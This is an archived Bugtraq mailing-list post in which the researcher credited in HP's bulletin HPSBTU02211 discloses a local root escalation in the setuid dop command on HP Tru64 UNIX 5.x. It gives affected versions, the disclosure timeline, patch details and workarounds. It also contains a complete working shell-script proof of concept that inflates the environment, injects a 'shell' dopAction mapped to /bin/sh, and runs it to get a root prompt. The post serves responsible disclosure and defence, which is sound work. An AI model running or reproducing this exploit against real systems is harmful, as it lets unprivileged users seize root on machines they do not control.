

Re: [security bulletin] HPSBTU02211 SSRT071326 rev.1 – HP Tru64 UNIX Running the dop command, Local Execution of Arbitrary Code with Privilege Elevation

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2007-05/msg00122.html>

- *From:* Daniele Calore <orkaan@xxxxxxxxxx>
 - *Date:* Wed, 9 May 2007 19:33:15 +0200
-

Hi, Bugtraq

...
HPSBTU02211 SSRT071326 rev.1 – HP Tru64 UNIX Running the dop command,
Local Execution of Arbitrary Code with Privilege Elevation

Potential Security Impact: Local execution of arbitrary code with
privilege elevation

Source: Hewlett-Packard Company, HP Software Security Response Team

VULNERABILITY SUMMARY

A potential security vulnerability has been identified with the HP Tru64 UNIX Operating System running the dop command. The vulnerability could be exploited by a local, authorized user to execute arbitrary code with the privileges of the root user.

...

SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
The following supported software versions are affected:

HP Tru64 UNIX v5.1B-4
HP Tru64 UNIX v5.1B-3
HP Tru64 UNIX v5.1A PK6

BACKGROUND

The Hewlett-Packard Company thanks Daniele Calore for reporting this vulnerability to security-alert@xxxxxxxx

...

This is my personal analysis/work about the bug discovered.

---[HP Tru64 DOP Local Privilege Escalation Vulnerability]---
---[SSRT071326 DOP PoC/Hack for HP Tru64 UNIX 5.X]---

1. Description
2. PoC
3. Conclusions

Shell Commands and All shell output begins with a '#'.
This is a "short" version for bugtraq.

---[1. Description]---

– What is HP Tru64 UNIX:

http://en.wikipedia.org/wiki/Tru64_UNIX

– What is DOP: (From manpage dop(8))

dop – Allows a user to execute a privileged program without knowing the root password. The dop command also modifies the action database. (It's something like the well know program sudo)

```
# tru64-sys> ls -l /usr/sbin/dop
# -rws--x--x 1 root bin 95344 Apr 30 2005 /usr/sbin/dop
```

– Vulnerability:

There is a vulnerability in how dop handle ENV, that allow any local user to execute dopActions (see '/etc/doprc') without knowing the root password.

– System Affected:

Tru64 5.1 (ALL) (Last PatchKit: T64v51B20AS0006–20030210 – PK6 – BL20)
Tru64 5.1A (ALL) (Last PatchKit: T64V51AB24AS0006–20031031 – PK6 – BL24)
Tru64 5.1B (ALL) (Last PatchKit: T64V51BB27AS0006–20061208 – PK6 – BL27)

– System NOT Tested:
Tru64 5.0

– System NOT Affected:
Tru64 4.0x (dop will require allways root password, also for user root)

– Risk:
HIGH; any user can escalate privilege to root.

– Disclosure Timeline (Vendor Response):

Re: [security bulletin] HPSBTU02211 SSRT071326 rev.1 – HP Tru64 UNIX Running the dop command, Local Execution of Arbitrary Code

The following timeline outlines the responses from the vendor:

- 2007-03-15 – Vendor contacted.
- 2007-03-20 – Sent full details of the vulnerability identified.
- 2007-04-04 – Vendor has generated the patches for the vulnerability and is doing a thorough code review and testing.
- 2007-04-17 – Vendor released a patch without inform the author. (*)
- 2007-04-26 – Vendor inform the author that the patch will be soon available and he is drafting the security bulletin...
- 2007-05-08 – Vendor released a security bulletin
- 2007-05-09 – This analysis is public available.

(*) For a valid guideline for interaction between a researcher and software maintainer take a look to: "Full Disclosure Policy (RFPolicy) v2.0"
<http://www.wiretrip.net/rfp/policy.html>

– Patch:

You can obtain the patches in the ITRC section of the HP site.
You need registration to download patches.

http://www1.itrc.hp.com/service/cki/docDisplay.do?docLocale=en&docId=emr_na-c01036871-1

If you do not have time to apply the patch to all your systems I suggest you to use this little workaround:

- 1– Set the kernel attribute `exec_disable_arg_limit` to '1'.
(maybe there are also other BUGS like this one in different programs)

```
# tru64-sys> whoami
# root
#
# tru64-sys> /sbin/sysconfig -r proc exec_disable_arg_limit=1
# exec_disable_arg_limit: reconfigured
```

Update changes in '/etc/sysconfigtab' (in all cluster members)

- 2– Consider to remove SUID BIT to '/usr/sbin/dop' if you don't use 'dop'
(remember to apply SUID BIT again before patching the system)
maybe there are also other bugs in dop binary...

- 3– If you use dop, consider to use other software like the well know 'sudo'

—[2. PoC]—

This is simple PoC (Proof of Concept)

```
-----8<-----8<-----
#!/bin/sh
```

```
#
# – Author/Credits:
# Daniele Calore; orkaan <at> orkaan.org
#
# – Description:
# HP Tru64 DOP Local Privilege Escalation Vulnerability
#
# UNIX HP Tru64 5.X '/usr/sbin/dop' Local Vulnerability root escalation.
# HP Security bulletin code identification: HPSBTU02211 SSRT071326
# Bugtraq ID: 23881
#
# – Public Released:
# 2007-05-09
#
# – System Affected:
# Tru64 5.1 (ALL) (Last PatchKit: T64v51B20AS0006-20030210 – PK6 – BL20)
# Tru64 5.1A (ALL) (Last PatchKit: T64V51AB24AS0006-20031031 – PK6 – BL24)
# Tru64 5.1B (ALL) (Last PatchKit: T64V51BB27AS0006-20061208 – PK6 – BL26)
#
# – System NOT Tested:
# Tru64 5.0
#
# – System NOT Affected:
# Tru64 4.0x (dop will allways require root password, also for user root)
#
# – More info:
# http://www.orkaan.org/tru64/orkaan – exp Tru64-5.X SSRT071326.html
#
#
#####
# Defines:

PATH="/sbin:/usr/sbin:/bin:/usr/bin"
DOP="/usr/sbin/dop"

# Environment size target.
# Change this value if you have problems.
ENV_TRG=38629

# Sleep in seconds.
# Change this value (bigger) if you have problems.
SLEEP=10

#
#####
# Credits:

echo "UNIX HP Tru64 5.X '/usr/sbin/dop' Local Vulnerability root escalation."
echo "HP Security bulletin code identification: HPSBTU02211 SSRT071326"
echo "Bugtraq ID: 23881"
```

```
echo "Author: Daniele Calore; orkaan <at> orkaan.org"
echo ""

#
#####
# Checks:

# Check User.
MYUID=`id -u`
if [ ${MYUID} -eq 0 ]; then
echo "Why execute this if you are allready root?"
exit 1
fi

# Check dop binary.
test -u "${DOP}"
if [ $? -ne 0 ]; then
echo "${DOP} binary is without set-user ID bit... Sorry!"
exit 1
fi

# Check exec_disable_arg_limit.
ARG_LIMIT=`sysconfig -q proc exec_disable_arg_limit 2>/dev/null | tail -1 | \
cut -f3 -d" "`
if [ "Z${ARG_LIMIT}" != "Z0" ]; then
echo "exec_disable_arg_limit is set to ${ARG_LIMIT:-none}... Sorry!"
exit 1
fi

#
#####
# DOPAction Attack:

echo "Ready:"

# Unset Display.
echo "1- Unset DISPLAY."
unset DISPLAY

# Make ENV big enough.
echo "2- Make ENV big enough."
ENV_SIZE=`env | wc -c | tr -cd '[:digit:]'`
ENV_SIZE=`expr ${ENV_TRG} - ${ENV_SIZE} - 3`
A=`perl -e "print 'A' x ${ENV_SIZE}`; export A
ENV_SIZE=`env | wc -c | tr -cd '[:digit:]'`
echo " Actual ENV size is ${ENV_SIZE}; target is ${ENV_TRG};"

# Create dopAction.
echo "3- Create a dopAction 'shell'.
Remember to delete it.
As root do:
```

```
/usr/sbin/sysman -cli -delete row -comp doprc -group dopActions -key1  
shell
```

Remember:

- The script will never end.
- If it does not run change ENV_TRG...
- It is normal to see a message like:
Error occurred trying to update /etc/doprc:
shell already exists in /etc/doprc
(This mean that the BUG is present...)

You have to wait `${SLEEP}` seconds.
After this amount of time you will see a: '#' (the root shell prompt).
"

```
# Fork it in Background.  
dop /usr/sbin/sysman -cli -add row -comp doprc -group dopActions \  
-data "shell SuperUsers { /bin/sh * }" &
```

```
# Run the new dopAction.  
# Sleep some seconds (maybe you have to change this value).  
sleep ${SLEEP}  
echo ""  
dop shell
```

```
exit 0  
# EOF
```

-----8<-----8<-----

--[3. Conclusions]--

If you like my work fell free to mail me your feedbacks.
My mail account is: orkaan <at> orkaan.org
(If you need my PGP/GPG public key mail me, I will send you back)

For a full analysis about the vulnerability discovered
(with all the tests and more comments) see:
<http://www.orkaan.org/tru64/orkaan - exp Tru64-5.X SSRT071326.html>

I would like to thanks all people that works for OpenSource projects
especially the GNU/Linux team.

--[EOF]--

That's all...

Bye,

[security bulletin] HPSBTU02211 SSRT071326 rev.1 – HP Tru64 UNIX Running the dop command, Local Execution of Arbitrary Code

Daniele Calore (orkaan at orkaan.org)

Re: [security bulletin] HPSBTU02211 SSRT071326 rev.1 – HP Tru64 UNIX Running the dop command, Local Execution of Arbitrary Code